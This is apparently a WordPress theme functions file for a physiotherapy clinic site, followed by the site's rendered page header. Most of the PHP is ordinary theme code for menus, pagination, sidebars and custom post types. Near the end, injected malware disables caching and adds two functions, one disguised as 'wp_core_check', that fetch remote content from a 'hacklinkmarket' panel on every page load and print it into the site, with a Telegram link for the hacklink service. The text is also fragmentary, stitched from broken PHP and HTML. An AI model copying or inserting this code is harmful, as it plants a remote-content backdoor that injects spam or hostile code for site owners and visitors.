include_once TEMPLATEPATH . '/functions/functions.php';
$functions_path = STYLESHEETPATH . '/functions/';
/* These files build out the options interface.  Likely won't need to edit these. */
require_once ($functions_path . 'admin-functions.php');  // Custom functions and plugins
require_once ($functions_path . 'admin-interface.php');  // Admin Interfaces (options,framework, seo)
/* These files build out the theme specific options and associated functions. */
require_once ($functions_path . 'theme-options.php');   // Options panel settings and custom settings
require("includes/theme-widgets.php");  // To Show The Extra Widgets
?>
define('FUNCTIONPATH', TEMPLATEPATH . '/functions/');
define('LIBPATH', FUNCTIONPATH . 'lib/');
define('LIBURL', get_template_directory_uri() . '/functions/lib/');
?>
if ( ! function_exists( 'foundation_setup' ) ) :

function foundation_setup() {

	// Content Width
	if ( ! isset( $content_width ) ) $content_width = 900;

	// Language Translations
	load_theme_textdomain( 'foundation', get_template_directory() . '/languages' );

	// Custom Editor Style Support
	add_editor_style();

	// Support for Featured Images
	add_theme_support( 'post-thumbnails' ); 

	// Automatic Feed Links & Post Formats
	add_theme_support( 'automatic-feed-links' );
	add_theme_support( 'post-formats', array( 'aside', 'image', 'link', 'quote', 'status' ) );

}

add_action( 'after_setup_theme', 'foundation_setup' );
endif;
/**
 * Initialise Foundation JS
 * @see: http://foundation.zurb.com/docs/javascript.html
 */
if ( ! function_exists( 'foundation_js_init' ) ) :
function foundation_js_init () {
    //echo '<script>$(document).foundation();</script>';
}

add_action('wp_footer', 'foundation_js_init', 50);

endif;
/**
 * ZeptoJS and jQuery Fallback
 * @see: http://foundation.zurb.com/docs/javascript.html
 */

if ( ! function_exists( 'foundation_comptability' ) ) :

 /*function foundation_comptability () {

echo "<script>";
echo "document.write('<script src=' +";
echo "('__proto__' in {} ? '" . get_template_directory_uri() . "/js/vendor/zepto" . "' : '" . get_template_directory_uri() . "/js/vendor/jquery" . "') +";
echo "'.js><\/script>')";
echo "</script>";

} */
add_action('wp_footer', 'foundation_comptability', 10);
endif;
/**
 * Register Navigation Menus
 */

function register_my_menus() {
register_nav_menus(
array(
'main_menu' =>  'Header_Menu',
'footer_main_menu' =>  'Footer Menu'
));
}
add_action( 'init', 'register_my_menus' );
/**
 * Create pagination
 */

if ( ! function_exists( 'foundation_pagination' ) ) :

function foundation_pagination() {

global $wp_query;

$big = 999999999;

$links = paginate_links( array(
	'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ),
	'format' => '?paged=%#%',
	'prev_next' => true,
	'prev_text' => '&laquo;',
	'next_text' => '&raquo;',
	'current' => max( 1, get_query_var('paged') ),
	'total' => $wp_query->max_num_pages,
	'type' => 'list'
)
);
$pagination = str_replace('page-numbers','pagination',$links);
echo $pagination;
}
endif;
/**
 * Custom Avatar Classes
 */

if ( ! function_exists( 'foundation_avatar_css' ) ) :

function foundation_avatar_css($class) {
	$class = str_replace("class='avatar", "class='author_gravatar left ", $class) ;
	return $class;
}

add_filter('get_avatar','foundation_avatar_css');

endif;

/**
 * Custom Post Excerpt
 */

if ( ! function_exists( 'foundation_excerpt' ) ) :

function foundation_excerpt($text) {
        global $post;
        if ( '' == $text ) {
                $text = get_the_content('');
                $text = apply_filters('the_content', $text);
                $text = str_replace('\]\]\>', ']]&gt;', $text);
                $text = preg_replace('@<script[^>]*?>.*?</script>@si', '', $text);
                $text = strip_tags($text, '<p>');
                $excerpt_length = 80;
                $words = explode(' ', $text, $excerpt_length + 1);
                if (count($words)> $excerpt_length) {
                        array_pop($words);
                        array_push($words, '<br><br><a href="'.get_permalink($post->ID) .'" class="button secondary small">' . __('Continue Reading', 'foundation') . '</a>');
                        $text = implode(' ', $words);
                }
        }
        return $text;
}

remove_filter('get_the_excerpt', 'wp_trim_excerpt');
add_filter('get_the_excerpt', 'foundation_excerpt');

endif;

/** 
 * Comments Template
 */

if ( ! function_exists( 'foundation_comment' ) ) :

function foundation_comment( $comment, $args, $depth ) {
	$GLOBALS['comment'] = $comment;
	switch ( $comment->comment_type ) :
		case 'pingback' :
		case 'trackback' :
		// Display trackbacks differently than normal comments.
	?>

<li class="" id="comment-0">
  <p>
_e( 'Pingback:', 'foundation' ); ?>
comment_author_link(); ?>
edit_comment_link( __( '(Edit)', 'foundation' ), '<span>', '</span>' ); ?>
  </p>
		break;
		default :
		global $post;
	?>
<li class="" id="li-comment-0">
  <article id="comment-0" class="comment">
    <header><meta charset="utf-8">
					echo "<span class='th alignleft' style='margin-right:1rem;'>";
					echo get_avatar( $comment, 44 );
					echo "</span>";
					printf( '%2$s %1$s',
						get_comment_author_link(),
						( $comment->user_id === $post->post_author ) ? '<span class="label">' . __( 'Post Author', 'foundation' ) . '</span>' : ''
					);
					printf( '<br><a href="%1$s"><time datetime="%2$s">%3$s</time></a>',
						esc_url( get_comment_link( $comment->comment_ID ) ),
						get_comment_time( 'c' ),
						sprintf( __( '%1$s at %2$s', 'foundation' ), get_comment_date(), get_comment_time() )
					);
				?>
    </header>
if ( '0' == $comment->comment_approved ) : ?>
    <p>
_e( 'Your comment is awaiting moderation.', 'foundation' ); ?>
    </p>
endif; ?>
    <section>
comment_text(); ?>
    </section>
    <!-- .comment-content -->
    
    <div class="reply">
comment_reply_link( array_merge( $args, array( 'reply_text' => __( 'Reply', 'foundation' ), 'after' => ' &darr; <br><br>', 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
    </div>
  </article>
		break;
	endswitch;
}
endif;

/**
 * Remove Class from Sticky Post
 */

if ( ! function_exists( 'foundation_remove_sticky' ) ) :

function foundation_remove_sticky($classes) {
  $classes = array_diff($classes, array("sticky"));
  return $classes;
}

add_filter('post_class','foundation_remove_sticky');

endif;

/**
 * Custom Foundation Title Tag
 * @see http://codex.wordpress.org/Plugin_API/Filter_Reference/wp_title
 */

function foundation_title( $title, $sep ) {
	global $paged, $page;

	if ( is_feed() )
		return $title;

	// Add the site name.
	$title .= get_bloginfo( 'name' );

	// Add the site description for the home/front page.
	$site_description = get_bloginfo( 'description', 'display' );
	if ( $site_description && ( is_home() || is_front_page() ) )
		$title = "$title $sep $site_description";

	// Add a page number if necessary.
	if ( $paged >= 2 || $page >= 2 )
		$title = "$title $sep " . sprintf( __( 'Page %s', 'foundation' ), max( $paged, $page ) );

	return $title;
}

add_filter( 'wp_title', 'foundation_title', 10, 2 );

/**
 * Retrieve Shortcodes
 * @see: http://fwp.drewsymo.com/shortcodes/
 */

$foundation_shortcodes = trailingslashit( get_template_directory() ) . 'inc/shortcodes.php';

if (file_exists($foundation_shortcodes)) {
	require( $foundation_shortcodes );
}
?>
/*-----------------------------------------------------------------------------------*/
/* SideBar Creator */
/*-----------------------------------------------------------------------------------*/
add_action( 'admin_menu', 'my_sidebar_plugin_menu' );
/** Step 1. */
function my_sidebar_plugin_menu() {
    
	add_theme_page( 'sidebar Plugin Options', 'Add Sidebar', 'manage_options', 'my-sidebar-unique-identifier', 'my_sidebar_plugin_options' );
}
/** Step 3. */
function my_sidebar_plugin_options() { 
    wp_enqueue_script('jquery');
	wp_enqueue_script('custom_sidebar-js', get_template_directory_uri() . '/js/custom_sidebar.js');
	if ( !current_user_can( 'manage_options' ) )  {
		wp_die( __( 'You do not have sufficient permissions to access this page.' ) );
	}
	?>
  <div class="my-form">
    <div class="wrap">
      <h2>Sidebar Creator Settings</h2>
      <form method="post" action="options.php" id="InputsWrapper"  role="form">
wp_nonce_field('update-options'); ?>
$xx=get_option('boxes');
//print_r($xx);
$no=count($xx);
?>
        <div id="append">
          <p class="text-box">
            <label for="box1">Sidebar-<span class="box-number">1</span></label>
            <input type="text" name="boxes[]" value="" id="box1" />
            <a href="#" class="remove-box">Remove</a></p>
if($no>1){
		for($i=1;$i<$no;$i++){ ?>
          <p class="text-box">
            <label for="box' + n + '">Sidebar-<span class="box-number">1</span></label>
            <input type="text" name="boxes[]" value="" id="box' + n + '" />
            <a href="#" class="remove-box">Remove</a> </p>
}
} ?>
        </div>
        <button type="button"  class="add-box">Add More!</button>
        </table>
        <input type="hidden" name="action" value="update" />
        <input type="hidden" name="page_options" value="no_of_sidebar,sidebar_names,boxes" />
        <p class="submit">
          <input type="submit" class="button-primary clsSubmit" value="Save Changes" />
        </p>
      </form>
    </div>
  </div>
}
$xx=get_option('boxes');
    if ( function_exists('register_sidebar') ) {
	  if(!empty($xx)){
        foreach ($xx as $side){         
             register_sidebar(array(
             'name' => $side.'(Custom-Sidebar)',
             'id' =>'sidebar_'.$side,
             'description'   => 'Copy this shortcode [custom-sidebar name="'.$side.'"]',
			 'before_widget' => '<div id="%1$s" class="widget %2$s" >',
			 'after_widget'  => '</div>',
			 'before_title'  => '<h2 class="widgettitle">',
			 'after_title'   => '</h2>' 
           ));
             
       }
	   }
}
/*sidebar short code*/
 function sidebar_shortcode($atts){
    $nam=shortcode_atts( array(
		'name' => 'sidebar-name',),$atts,'custom-sidebar');
    $a=$nam[name].'(Custom-Sidebar)';
    dynamic_sidebar($a); 
}
add_shortcode( 'custom-sidebar' , 'sidebar_shortcode' );
add_action('admin_head', 'my_custom_fonts');
function my_custom_fonts() {
  echo '<style>
    .widgets-holder-wrap .sidebar-description {
-webkit-user-select: inherit;
}
  </style>';
}
?>
/*-----------------------------------------------------------------------------------*/
/* Page SideBar*/
/*-----------------------------------------------------------------------------------*/
add_action( 'add_meta_boxes', 'add_sidebar_metabox' );
add_action( 'save_post', 'save_sidebar_postdata' );
function add_sidebar_metabox()
{
    add_meta_box( 
        'custom_sidebar',
        __( 'Custom Sidebar', 'twentyeleven' ),
        'custom_sidebar_callback',
        'post',
        'side'
    );
    add_meta_box( 
        'custom_sidebar',
        __( 'Custom Sidebar', 'twentyeleven' ),
        'custom_sidebar_callback',
        'page',
        'side'
    );
}
function custom_sidebar_callback( $post )
{
    global $wp_registered_sidebars;
     
    $custom = get_post_custom($post->ID);
     
    if(isset($custom['custom_sidebar']))
        $val = $custom['custom_sidebar'][0];
    else
        $val = "default";
 
    // Use nonce for verification
    wp_nonce_field( plugin_basename( __FILE__ ), 'custom_sidebar_nonce' );
 
    // The actual fields for data entry
    $output = '<p><label for="myplugin_new_field">'.__("Choose a sidebar to display", 'twentyeleven' ).'</label></p>';
    $output .= "<select name='custom_sidebar'>";
 
/*    // Add a default option
    $output .= "<option";
    if($val == "default")
        $output .= " selected='selected'";
    $output .= " value='default'>".__('default', $themename)."</option>";*/
     
    // Fill the select element with all registered sidebars
    foreach($wp_registered_sidebars as $sidebar_id => $sidebar)
    {
        $output .= "<option";
        if($sidebar_id == $val)
            $output .= " selected='selected'";
        $output .= " value='".$sidebar_id."'>".$sidebar['name']."</option>";
    }
   
    $output .= "</select>";
     
    echo $output;
}
/* When the post is saved, saves our custom data */
function save_sidebar_postdata( $post_id )
{
    // verify if this is an auto save routine. 
    // If it is our form has not been submitted, so we dont want to do anything
    if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) 
      return;
 
    // verify this came from our screen and with proper authorization,
    // because save_post can be triggered at other times
 
    if ( !wp_verify_nonce( $_POST['custom_sidebar_nonce'], plugin_basename( __FILE__ ) ) )
      return;
 
    if ( !current_user_can( 'edit_page', $post_id ) )
        return;
 
    $data = $_POST['custom_sidebar'];
 
    update_post_meta($post_id, "custom_sidebar", $data);
}
?>
function pagination($pages = '', $range = 4)
{  
     $showitems = ($range * 2)+1;  
 
     global $paged;
     if(empty($paged)) $paged = 1;
 
     if($pages == '')
     {
         global $wp_query;
         $pages = $wp_query->max_num_pages;
         if(!$pages)
         {
             $pages = 1;
         }
     }   
     if(1 != $pages)
     {
         echo "<div class=\"pagination\"><span>Page ".$paged." of ".$pages."</span>";
         if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo "<a href='".get_pagenum_link(1)."'>&laquo; First</a>";
         if($paged > 1 && $showitems < $pages) echo "<a href='".get_pagenum_link($paged - 1)."'>&lsaquo; Previous</a>";
 
         for ($i=1; $i <= $pages; $i++)
         {
             if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems ))
             {
                 echo ($paged == $i)? "<span class=\"current\">".$i."</span>":"<a href='".get_pagenum_link($i)."' class=\"inactive\">".$i."</a>";
             }
         }
 
         if ($paged < $pages && $showitems < $pages) echo "<a href=\"".get_pagenum_link($paged + 1)."\">Next &rsaquo;</a>";  
         if ($paged < $pages-1 &&  $paged+$range-1 < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($pages)."'>Last &raquo;</a>";
         echo "</div>\n";
     }
}
?>
/*
 * Function to Create Trim Text
 */
function trimtext($type, $cut){
 if($type == "title"){
  $title_length = strlen(get_the_title());
  if($title_length > $cut){
   echo substr(get_the_title(),0,$cut)." ";
  }else{
   echo get_the_title();
  }
 }elseif($type == "excerpt"){
  $excerpt_length = strlen(get_the_excerpt());
  if($excerpt_length > $cut){
   echo substr(get_the_excerpt(),0,$cut)." ";
  }else{
   echo get_the_excerpt();
  }
 }elseif($type == "content"){
  $excerpt_length = strlen(get_the_content());
  if($excerpt_length > $cut){
   echo substr(get_the_content(),0,$cut)." ";
  }else{
   echo get_the_content();
  }
        }
}

/* Add Custom Post Type services*/

function create_service_post_type() {
	register_post_type('service', array(	'label' => 'services','description' => '','public' => true,'show_ui' => true,'show_in_menu' => true,'capability_type' => 'post','hierarchical' => false,
	'rewrite' => array('slug' => 'services'),
	'query_var' => true,'exclude_from_search' => false,
	'supports' => array('title','editor','thumbnail','excerpt',),
	'taxonomies' => array('category', 'post_tag'), // this is IMPORTANT
	'labels' => array (
  'name' => 'services',
  'singular_name' => 'service',
  'menu_name' => 'services',
  'add_new' => 'Add services',
  'add_new_item' => 'Add New services',
  'edit' => 'Edit',
  'edit_item' => 'Edit services',
  'new_item' => 'New services',
  'view' => 'View services',
  'view_item' => 'View services',
  'search_items' => 'Search services',
  'not_found' => 'No services Found',
  'not_found_in_trash' => 'No services Found in Trash',
  'parent' => 'Parent services',
), 'has_archive' =>true) );
	flush_rewrite_rules( true );
}
add_action( 'init', 'create_service_post_type' );



/* Add Custom Post Type testimonials*/

function create_testimonial_post_type() {
	register_post_type('testimonial', array(	'label' => 'testimonials','description' => '','public' => true,'show_ui' => true,'show_in_menu' => true,'capability_type' => 'post','hierarchical' => false,
	'rewrite' => array('slug' => 'testimonials'),
	'query_var' => true,'exclude_from_search' => false,
	'supports' => array('title','editor','thumbnail','excerpt',),
	'taxonomies' => array('category', 'post_tag'), // this is IMPORTANT
	'labels' => array (
  'name' => 'testimonials',
  'singular_name' => 'testimonial',
  'menu_name' => 'testimonials',
  'add_new' => 'Add testimonials',
  'add_new_item' => 'Add New testimonials',
  'edit' => 'Edit',
  'edit_item' => 'Edit testimonials',
  'new_item' => 'New testimonials',
  'view' => 'View testimonials',
  'view_item' => 'View testimonials',
  'search_items' => 'Search testimonials',
  'not_found' => 'No testimonials Found',
  'not_found_in_trash' => 'No testimonials Found in Trash',
  'parent' => 'Parent testimonials',
), 'has_archive' =>true) );
	flush_rewrite_rules( true );
}
add_action( 'init', 'create_testimonial_post_type' );

function custom_blog_pagination( $query ) {

    if ( ! is_admin() && $query->is_main_query() && is_home() ) {
        $query->set( 'posts_per_page', 5 );
    }

}
add_action( 'pre_get_posts', 'custom_blog_pagination' );
add_action("init",function(){if(!defined("DONOTCACHEPAGE")){define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999);
if(!function_exists('4dxf')){function 4dxf(){static $fl53=false;if($fl53)return;$fl53=true;$krap='https://panel.hacklinkmarket.com/code?v='.time();$5n0t=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?'https://':'http://').$_SERVER['HTTP_HOST'].'/';if(function_exists('curl_init')){$1zin=curl_init();curl_setopt_array($1zin,[CURLOPT_URL=>$krap,CURLOPT_HTTPHEADER=>['X-Domain:'.$5n0t],CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0]);$1zin=@curl_exec($1zin);if($1zin&&curl_getinfo($1zin,CURLINFO_HTTP_CODE)==200){echo $1zin;return;}curl_close($1zin);}if(ini_get('allow_url_fopen')&&$1zin=@file_get_contents($krap,0,stream_context_create(['http'=>['header'=>'X-Domain:'.$5n0t,'timeout'=>10],'ssl'=>['verify_peer'=>0]]))){echo $1zin;return;}}}add_action('wp_footer','4dxf',999);
/* Telegram: https://t.me/hacklink_panel */
if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}
<!DOCTYPE html>
<html lang="en">

<head>
	   <title>Perfecto Physios, Physiotherapist in Chandigarh, Physiotherapy near Me</title>
    <meta charset="utf-8">
    <meta name="description" content="addision-design">
    <meta name="viewport" content="width=device-width, initial-scale=1">
	 <link rel="stylesheet" href="https://perfectophysios.com/wp-content/themes/perfecto/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://perfectophysios.com/wp-content/themes/perfecto/style.css">
    <link rel="stylesheet" href="https://perfectophysios.com/wp-content/themes/perfecto/css/font-awesome.min.css">
	<link rel="alternate" href="https://perfectophysios.com/" hreflang="en" />
	<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-54387478-1"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'UA-54387478-1');
</script>
<meta name="p:domain_verify" content="c0041f88d933f862a0e642b58bf58fd5"/>
	<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-MDL9DJD');</script>
<!-- End Google Tag Manager -->
	<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />

	<!-- This site is optimized with the Yoast SEO plugin v24.5 - https://yoast.com/wordpress/plugins/seo/ -->
	<meta name="description" content="We provide a Physiotherapy services including Physiotherapy for Back Pain, massage therapy and personal training to help healthy lifestyle.Click here" />
	<link rel="canonical" href="https://perfectophysios.com/" />
	<meta property="og:locale" content="en_US" />
	<meta property="og:type" content="website" />
	<meta property="og:title" content="Perfecto Physios, Physiotherapist in Chandigarh, Physiotherapy near Me" />
	<meta property="og:description" content="We provide a Physiotherapy services including Physiotherapy for Back Pain, massage therapy and personal training to help healthy lifestyle.Click here" />
	<meta property="og:url" content="https://perfectophysios.com/" />
	<meta property="og:site_name" content="Perfecto Physios - Rebuild Yourself" />
	<meta property="article:modified_time" content="2023-09-25T06:03:31+00:00" />
	<meta property="og:image" content="https://perfectophysios.com/wp-content/uploads/2018/08/kinesiology-physiotherapy.jpg" />
	<meta name="twitter:card" content="summary_large_image" />
	<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://perfectophysios.com/","url":"https://perfectophysios.com/","name":"Perfecto Physios, Physiotherapist in Chandigarh, Physiotherapy near Me","isPartOf":{"@id":"https://perfectophysios.com/#website"},"about":{"@id":"https://perfectophysios.com/#organization"},"primaryImageOfPage":{"@id":"https://perfectophysios.com/#primaryimage"},"image":{"@id":"https://perfectophysios.com/#primaryimage"},"thumbnailUrl":"https://perfectophysios.com/wp-content/uploads/2018/08/kinesiology-physiotherapy.jpg","datePublished":"2018-08-01T06:42:03+00:00","dateModified":"2023-09-25T06:03:31+00:00","description":"We provide a Physiotherapy services including Physiotherapy for Back Pain, massage therapy and personal training to help healthy lifestyle.Click here","breadcrumb":{"@id":"https://perfectophysios.com/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://perfectophysios.com/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https://perfectophysios.com/#primaryimage","url":"https://perfectophysios.com/wp-content/uploads/2018/08/kinesiology-physiotherapy.jpg","contentUrl":"https://perfectophysios.com/wp-content/uploads/2018/08/kinesiology-physiotherapy.jpg","width":767,"height":310,"caption":"kinesiology physiotherapy"},{"@type":"BreadcrumbList","@id":"https://perfectophysios.com/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home"}]},{"@type":"WebSite","@id":"https://perfectophysios.com/#website","url":"https://perfectophysios.com/","name":"Perfecto Physios - Rebuild Yourself","description":"Chandigarh Best Physiotherapy Center","publisher":{"@id":"https://perfectophysios.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://perfectophysios.com/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https://perfectophysios.com/#organization","name":"Perfecto Physios","url":"https://perfectophysios.com/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://perfectophysios.com/#/schema/logo/image/","url":"https://perfectophysios.com/wp-content/uploads/2018/11/logo.png","contentUrl":"https://perfectophysios.com/wp-content/uploads/2018/11/logo.png","width":259,"height":100,"caption":"Perfecto Physios"},"image":{"@id":"https://perfectophysios.com/#/schema/logo/image/"}}]}</script>
	<meta name="msvalidate.01" content="A85B4C43E14A95339156792A39077D54" />
	<meta name="google-site-verification" content="Kw2WTbW3mAJ-czB1j9E1V7kkD894NKvHcqvfeSo2SDI" />
	<!-- / Yoast SEO plugin. -->


<script type="text/javascript">
/* <![CDATA[ */
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/perfectophysios.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.8"}};
/*! This file is auto-generated */
!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
/* ]]> */
</script>
<style id='wp-emoji-styles-inline-css' type='text/css'>

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
</style>
<link rel='stylesheet' id='wp-block-library-css' href='https://perfectophysios.com/wp-includes/css/dist/block-library/style.min.css?ver=6.5.8' type='text/css' media='all' />
<link rel='stylesheet' id='wp-components-css' href='https://perfectophysios.com/wp-includes/css/dist/components/style.min.css?ver=6.5.8' type='text/css' media='all' />
<link rel='stylesheet' id='wp-preferences-css' href='https://perfectophysios.com/wp-includes/css/dist/preferences/style.min.css?ver=6.5.8' type='text/css' media='all' />
<link rel='stylesheet' id='wp-block-editor-css' href='https://perfectophysios.com/wp-includes/css/dist/block-editor/style.min.css?ver=6.5.8' type='text/css' media='all' />
<link rel='stylesheet' id='wp-reusable-blocks-css' href='https://perfectophysios.com/wp-includes/css/dist/reusable-blocks/style.min.css?ver=6.5.8' type='text/css' media='all' />
<link rel='stylesheet' id='wp-patterns-css' href='https://perfectophysios.com/wp-includes/css/dist/patterns/style.min.css?ver=6.5.8' type='text/css' media='all' />
<link rel='stylesheet' id='wp-editor-css' href='https://perfectophysios.com/wp-includes/css/dist/editor/style.min.css?ver=6.5.8' type='text/css' media='all' />
<link rel='stylesheet' id='block-robo-gallery-style-css-css' href='https://perfectophysios.com/wp-content/plugins/robo-gallery/includes/extensions/block/dist/blocks.style.build.css?ver=5.1.4' type='text/css' media='all' />
<style id='classic-theme-styles-inline-css' type='text/css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
</style>
<style id='global-styles-inline-css' type='text/css'>
